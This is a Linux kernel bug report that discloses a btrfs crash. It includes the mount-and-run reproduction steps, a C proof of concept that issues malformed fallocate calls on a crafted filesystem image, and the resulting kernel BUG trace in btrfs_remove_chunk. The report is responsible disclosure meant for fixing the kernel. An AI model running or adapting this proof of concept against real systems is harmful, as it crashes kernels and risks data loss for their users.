Bug 200403

Created attachment 277167 [details]
The (compressed) crafted image which causes crash

- Reproduce
# mkdir mnt
# mount -t btrfs 0.img mnt
# gcc -o poc poc.c
# ./poc ./mnt
# umount mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {

    fallocate(fd, 0, 0, 123871237);
    fallocate(fd, 0, -13123, 123);
    fallocate(fd, 0, 234234, -45897);
    fallocate(fd, FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE, 0, 4243261);
    fallocate(fd, FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE, -95713, 38447);
    fallocate(fd, FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE, 18237, -9173);

    close(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[  230.611533] BTRFS: device fsid 3381d111-94a3-4ac7-8f39-611bbbdab7e6 devid 1 transid 8 /dev/loop0
[  230.632922] BTRFS info (device loop0): disk space caching is enabled
[  230.632935] BTRFS info (device loop0): has skinny extents
[  230.647496] BTRFS info (device loop0): creating UUID tree
[  237.692643] ------------[ cut here ]------------
[  237.692654] kernel BUG at fs/btrfs/volumes.c:1625!
[  237.693822] invalid opcode: 0000 [#1] SMP KASAN PTI
[  237.694867] CPU: 1 PID: 1387 Comm: umount Not tainted 4.18.0-rc1+ #8
[  237.696177] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  237.698177] RIP: 0010:btrfs_remove_chunk+0x37a/0xd60
[  237.699209] Code: e0 48 39 85 28 ff ff ff 77 20 0f b6 85 27 ff ff ff 4d 89 6f 80 4c 89 f7 4d 89 67 89 41 88 47 88 e8 0b 01 f7 ff e9 f5 fe ff ff <0f> 0b 0f 85 5c 08 00 00 4d 8d 66 40 4c 89 f7 e8 42 f9 b6 ff 4c 89
[  237.703034] RSP: 0018:ffff8801f0b0fad8 EFLAGS: 00010206
[  237.704122] RAX: 0000000008000000 RBX: ffff8801ef4d7c38 RCX: 0000000000000000
[  237.705572] RDX: ffffed003e161f30 RSI: 0000000000000e70 RDI: ffff8801f2a6ae70
[  237.707035] RBP: ffff8801f0b0fc38 R08: ffff8801f0b0f9e0 R09: ffff8801f0b0fa20
[  237.708485] R10: 0000000000000003 R11: ffffed003e161f7c R12: 0000000007400000
[  237.709929] R13: 0000000000000001 R14: ffff8801f2bf0a50 R15: ffff8801f0b0fc10
[  237.711391] FS:  00007f691b770840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
[  237.713034] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.714206] CR2: 0000000000cb0348 CR3: 00000001f26f8000 CR4: 00000000000006e0
[  237.719741] Call Trace:
[  237.720274]  ? btrfs_grow_device+0x240/0x240
[  237.721193]  ? kasan_check_read+0x11/0x20
[  237.722080]  ? mutex_lock+0x99/0xf0
[  237.722854]  btrfs_delete_unused_bgs+0x4b6/0x5c0
[  237.723836]  close_ctree+0x40a/0x460
[  237.724586]  ? transaction_kthread+0x250/0x250
[  237.725523]  ? dispose_list+0xa0/0xa0
[  237.726303]  btrfs_put_super+0x25/0x30
[  237.727110]  generic_shutdown_super+0xb9/0x1c0
[  237.728032]  kill_anon_super+0x24/0x40
[  237.728814]  btrfs_kill_super+0x31/0x220
[  237.729630]  deactivate_locked_super+0x6f/0xa0
[  237.730548]  deactivate_super+0x5e/0x80
[  237.731352]  cleanup_mnt+0x61/0xa0
[  237.732060]  __cleanup_mnt+0x12/0x20
[  237.732835]  task_work_run+0xc8/0xf0
[  237.733605]  exit_to_usermode_loop+0x125/0x130
[  237.734530]  do_syscall_64+0x138/0x170
[  237.735331]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  237.736676] RIP: 0033:0x7f691b050487
[  237.737457] Code: 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 31 f6 e9 09 00 00 00 66 0f 1f 84 00 00 00 00 00 b8 a6 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e1 c9 2b 00 f7 d8 64 89 01 48
[  237.741327] RSP: 002b:00007ffdf3a06d98 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6
[  237.742889] RAX: 0000000000000000 RBX: 0000000000ca7030 RCX: 00007f691b050487
[  237.744351] RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000cae1e0
[  237.745814] RBP: 0000000000cae1e0 R08: 0000000000000000 R09: 0000000000000015
[  237.747289] R10: 00000000000006b2 R11: 0000000000000246 R12: 00007f691b55983c
[  237.748750] R13: 0000000000000000 R14: 0000000000ca7210 R15: 00007ffdf3a07020
[  237.750224] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd mac_hid i2c_piix4 soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too qxl drm_kms_helper crct10dif_pclmul syscopyarea sysfillrect sysimgblt fb_sys_fops ttm crc32_pclmul aesni_intel drm aes_x86_64 crypto_simd cryptd glue_helper 8139cp mii pata_acpi floppy
[  237.760666] ---[ end trace 2e85051acb5f6dc1 ]---
[  237.761718] RIP: 0010:btrfs_remove_chunk+0x37a/0xd60
[  237.762827] Code: e0 48 39 85 28 ff ff ff 77 20 0f b6 85 27 ff ff ff 4d 89 6f 80 4c 89 f7 4d 89 67 89 41 88 47 88 e8 0b 01 f7 ff e9 f5 fe ff ff <0f> 0b 0f 85 5c 08 00 00 4d 8d 66 40 4c 89 f7 e8 42 f9 b6 ff 4c 89
[  237.766977] RSP: 0018:ffff8801f0b0fad8 EFLAGS: 00010206
[  237.768157] RAX: 0000000008000000 RBX: ffff8801ef4d7c38 RCX: 0000000000000000
[  237.769672] RDX: ffffed003e161f30 RSI: 0000000000000e70 RDI: ffff8801f2a6ae70
[  237.771147] RBP: ffff8801f0b0fc38 R08: ffff8801f0b0f9e0 R09: ffff8801f0b0fa20
[  237.772650] R10: 0000000000000003 R11: ffffed003e161f7c R12: 0000000007400000
[  237.774119] R13: 0000000000000001 R14: ffff8801f2bf0a50 R15: ffff8801f0b0fc10
[  237.775598] FS:  00007f691b770840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
[  237.777297] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.778496] CR2: 0000000000cb0348 CR3: 00000001f26f8000 CR4: 00000000000006e0

- Location
https://elixir.bootlin.com/linux/v4.18-rc3/source/fs/btrfs/volumes.c#L1624
		BUG_ON(found_key.offset > start || found_key.offset +
		       btrfs_dev_extent_length(leaf, extent) < start);

Reported by Wen Xu and Po-Ning Tseng from SSLab at Gatech.